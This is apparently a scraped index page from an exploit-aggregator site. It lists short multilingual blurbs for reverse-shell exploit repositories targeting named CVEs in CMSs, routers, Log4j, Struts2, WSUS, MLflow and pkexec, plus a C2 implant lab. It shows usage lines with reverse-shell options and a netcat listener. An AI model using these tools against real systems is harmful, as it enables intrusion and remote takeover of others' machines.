POC-CVE-2025-55182

POC-CVE-2025-55182 来源 : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 root@kitploit: usage: CVE-2025-55182-Exp.py -h -u URL -l LIST -c COMMAND -i --revshell LHOST LPORT -t THREADS --proxy PROXY --timeout TIMEOUT -v 使用方法 root@kitploit: 单目标利用 python3 CVE-2025-55182-Exp.py -u...

CVE-2025-62369

CVE-2025-62369 PoC Este script explota CVE-2025-62369 en Xibo CMS para ejecutar un comando de reverse shell. Autor Nombre: Cristian Branet GitHub: cristibtz Uso 1. Iniciar un listener root@kitploit: nc -lvnp 2. Ejecutar el exploit root@kitploit: python3 exploit.py -u "http://:" -s "" -i -p : IP...

CVE-2015-8522.RCE

CVE-2015-8522 Tivoli FastBack Server 6.1.4 应用程序存在基于栈的缓冲区溢出漏洞，威胁行为者可通过远程 TCP 连接实现任意代码执行 ACE。本仓库提供的 PoC 利用此漏洞在目标上执行 CMD.exe，并处理传入连接以建立反向 Shell。 !NOTE 此 PoC 基于先前发布的 PoC，并在此基础上增加了 ASLR 绕过，同时按照常见的软件工程范式改进了架构。由于推荐的多文件结构可能并非适用于所有场景，因此在 assets/single.py 中提供了单文件版本的漏洞利用代码。 漏洞 通信 PoC 通过 TCP 端口 11460...

C2-and-Post-Exploitation-Framework

Capstone Docker 实验室 概述与目的 受害者浏览托管网页。利用过程通过嵌入在 utils.js 中的 shellcode 发起（在受害者浏览器客户端运行，利用 CVE-2021-21220）。shellcode 在受害者机器上运行，调用 HTTPS 交付服务器，下载 MicrosoftEdgeUpdate.exe 并执行。一旦运行，植入程序通过中间跳板（C2 重定向器）使用 TLS 连接 C2 服务器以获取签名证书，然后通过完整的双向 TLS 重新连接。C2 控制器接收连接并呈现交互式反向 Shell 菜单，允许操作员在受害者机器上远程执行 Windows 命令。 威胁模型...

CVE-2024-37054-MLflow-reverse-shell

Tools & Files File| Purpose ---|--- generatemodel.py| Generates malicious model.pkl with reverse shell payload uploadmodel.py| Uploads pickle to MLflow and promotes it to Production sample.csv| CSV file used to trigger the /predict endpoint Usage 1. Generate the malicious pickle Edit...

hack

💀 PwnKit CVE-2021-4034 与反向 Shell 工具包 ⚠️ 免责声明： 本仓库仅用于教育和安全研究目的。作者不对这些工具的滥用负责。请仅在受控环境或获得明确授权的系统中使用。 📜 描述 本仓库包含针对 PwnKit （CVE-2021-4034）漏洞编译的概念验证（PoC），这是 Polkit 组件 pkexec 中一个严重的本地权限提升漏洞。 此外，还附带一个 PHP 反向 Shell 脚本，可在漏洞利用后部署，或作为初始访问向量。 🎯 目标 在易受攻击的 Linux 系统上获取 root 权限，并通过反向 Shell 建立持久化或远程控制。 📂 工具包内容 1...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP 文件服务器 RCE 利用工具 一个用 Rust 实现的 CVE-2014-6287 漏洞利用工具，针对 Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c）。 漏洞概述 CVE-2014-6287 是 Rejetto HTTP 文件服务器（HFS）中的一个严重远程代码执行漏洞。 技术细节 受影响软件 ：Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c） 漏洞类型 ：远程代码执行（RCE） CVSS 评分 ：10.0（严重） CWE ：CWE-94（代码生成控制不当） 描述...

CVE-2016-16113-POC

Get RCE - Bludit CMS 漏洞利用工具 root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| 一个自动化利用工具，结合了 CVE-2019-17240 （认证绕过）和 CVE-2019-16113 （任意文件上传），可在易受攻击的 Bludit CMS 安装上实现远程代码执行。 ⚠️ 法律免责声明 仅限授权的安全测试...

OpenEMR-RCE

Exploit / PoC de OpenEMR RCE OpenEMR --shell --user --password --debug exploit.rb semi-auto --root-url --user --password --payload --lhost --lport --debug exploit.rb auto --root-url --user --password --lhost --lport --debug exploit.rb -H | --help Options: -r , --root-url Root URL base path...

CVE-2024-12856

CVE-2024-12856 Este es un exploit para los modelos de router Four-Faith F3x24 y F3x36 para obtener una reverse shell. "Los modelos de router Four-Faith F3x24 y F3x36 están afectados por una vulnerabilidad de inyección de comandos del sistema operativo SO. Al menos la versión de firmware 2.0 permi...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exploit en Python para la vulnerabilidad CVE-2021-22204 en Exiftool. Video tutorial Youtube root@kitploit: 404 notfound Requisitos root@kitploit: python3 python3-pip djvulibre-bin exiftool Instalar requisitos Debian root@kitploit: apt-get install djvulibre-bin...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 ejecución de comandos en Gerapy Descargo de responsabilidad root@kitploit: El script es solo para fines de aprendizaje y referencia; no lo utilices para atacar sitios web de otras personas de forma malintencionada. Si se viola la ley o se cometen actos ilícitos, toda...

CVE-2026-31816-rshell

Exploit de Reverse Shell CVE-2026-31816 Descripción General Esta herramienta explota CVE-2026-31816 para establecer una conexión de reverse shell en un servidor Budibase objetivo. Cadena de Ataque : Bypass de Autenticación → Subida de Plugin DATASOURCE → Ejecución de Código en el Servidor → Rever...

log4j-exploit-builder

log4j-exploit-builder Script to create a log4j CVE-2021-44228 exploit with support for different methods of getting a reverse shell NOTE: The code was speedrunned and will improve in the future...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 EJEMPLO Objetivo único root@kitploit: python3 CVE-2026-21962.py http://target:7001 -c "whoami" Lote + whoami por defecto root@kitploit: python3 CVE-2026-21962.py -f url.txt Lote + comando personalizado + cambiar número de hilos root@kitploit: python3 CVE-2026-21962.p...

Struts2_S2-062_CVE-2021-31805

Struts2S2-062CVE-2021-31805 Vulnerabilidad de ejecución remota de código en Apache Struts2 S2-062 CVE-2021-31805 | Reverse Shell Entorno de reproducción de la vulnerabilidad docker-compose.yml root@kitploit: version: '2' services: struts2: image: vulhub/struts2:2.5.25 ports: - "8080:8080" Extraer...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1: solo imprime root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""; uint32...

CVE-2021-43857

CVE-2021-43857 Gerapy anterior a la versión 0.9.8 es vulnerable a la ejecución remota de código. Este problema está corregido en la versión 0.9.8. CVE-2021-43857 es una vulnerabilidad marcada con prioridad Crítica CVSS 9.8 que conduce a la ejecución remota de código. Esta vulnerabilidad afecta a...

CVE-2021-4034

CVE-2021-4034 Reverse shell Exploit para la vulnerabilidad de escalada de privilegios locales en pkexec de polkit...

CVE-2025-59287

CVE-2025-59287 WSUS CVE-2025-59287 – Deserialización XML RCE Reverse Shell Un PoC enfocado para explotar WSUS CVE-2025-59287 mediante deserialización XML para lograr una reverse shell de Windows. Este script solo admite un payload de reverse shell sin fallback de calc. Objetivo: Windows Server co...